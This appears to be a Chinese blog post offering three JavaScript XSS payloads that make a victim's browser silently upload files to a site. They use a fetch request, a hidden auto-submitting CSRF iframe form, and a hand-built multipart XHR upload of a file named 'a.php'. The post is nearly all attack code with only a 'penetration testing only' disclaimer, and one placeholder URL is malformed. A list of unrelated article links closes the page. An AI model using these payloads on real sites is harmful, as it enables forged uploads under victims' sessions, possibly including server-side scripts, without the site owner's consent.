使用XSS自动上传表单文件的例子

仅供渗透测试,禁止他用

方案一:fetch

javascript 复制代码
 let formData = new FormData();
formData.append('name', 'John');
formData.append('file', new Blob(['Hello World!\n']), 'test')
fetch("http://www.baidu,com",
  {
    body: formData, method: "post"
  });

方案二:iframe

javascript 复制代码
	var Iframe=document.createElement("iframe")
Iframe.name="csrf-frame"
Iframe.style="display:none"
var Form = document.createElement("form");
Form.action = "http://www.baidu.com";
Form.method = "post";
Form.setAttribute("enctype", "multipart/form-data");
 
Form.target = "csrf-frame";
var Input= document.createElement("input");
Input.type='hidden'
Input.name='a'
Input.value='b'
 
const dataTransfer = new DataTransfer();
var fileInput= document.createElement("input");
 Form.appendChild(Input)
 document.body.appendChild(Iframe)
 
dataTransfer.items.add(
          new File(['Hello World!\n'], 'test', {
            type: 'application/octet-stream'
          })
        );
fileInput.setAttribute("name", "file");
 
 fileInput.setAttribute("type", "file");
 
 fileInput.files = dataTransfer.files;
Form.appendChild(fileInput)
var formToSubmit = document.body.appendChild(Form);
formToSubmit.submit();

方案三:

javascript 复制代码
  if (XMLHttpRequest.prototype.sendAsBinary === undefined) {
  XMLHttpRequest.prototype.sendAsBinary = function(string) {
    var bytes = Array.prototype.map.call(string, function(c) {
        return c.charCodeAt(0) & 0xff;
    });
    this.send(new Uint8Array(bytes));
  };
}
  var boundary = '----ThisIsTheBoundary1234567890';
  var formData = '--' + boundary + '\r\n'
  formData += 'Content-Disposition: form-data; name="source"; filename="a.php"\r\n';
  formData += 'Content-Type: application/octet-stream\r\n\r\n';
  formData += 'Data';
  formData += '\r\n';
  formData += '--' + boundary + '\r\n';
  formData += 'Content-Disposition: form-data; name="message"\r\n\r\n';
  formData += 'message' + '\r\n'
  formData += '--' + boundary + '--\r\n';
 
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'haha', true);
  xhr.onload  = xhr.onerror  = function() {
      console.log(xhr.responseText);
  };
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
  xhr.sendAsBinary(formData);
相关推荐
计算机魔术师1 小时前
斯坦福研究:AI 对入门级岗位冲击最大
前端
Simon_He2 小时前
一个渲染内核,五个框架包:我的流式 Markdown 渲染库是怎么长成“全家桶”的
前端·vue.js·markdown
小满zs2 小时前
关于HBuilderX+ 微信小程序开发工具启动的问题
前端·uni-app
林深见鹿_海蓝见鲸2 小时前
微信小程序反编译完整教程(Windows 新手版)
前端
默_笙2 小时前
😋 我让爬虫终于看到了我的网站,后端同事说"这也行?"(上):SEO 与渲染模式
前端·javascript
feixing_fx3 小时前
告别枯燥字体:Web 字体加载策略与 font-display 最佳实践
前端·css·前端框架·交互·css3
Liora_Yvonne3 小时前
不懂后端,只会 TypeScript,想独立做完整项目?这套全栈底座就是给前端准备的
前端·后端·全栈
前端Hardy3 小时前
GitHub 爆火!236K+ Star!一套 Skills 让 AI 按工程师方式写代码
前端·后端
烬羽3 小时前
AI Coding 全流程实战:从需求到上线,我用 AI 开发了一个 NPM 包
前端·react.js·ai编程
前进的程序员3 小时前
Codex破局:前端组件秒级生成|提速React/Vue开发,可复用提示词+实战调试经验
前端·vue.js·react.js·codex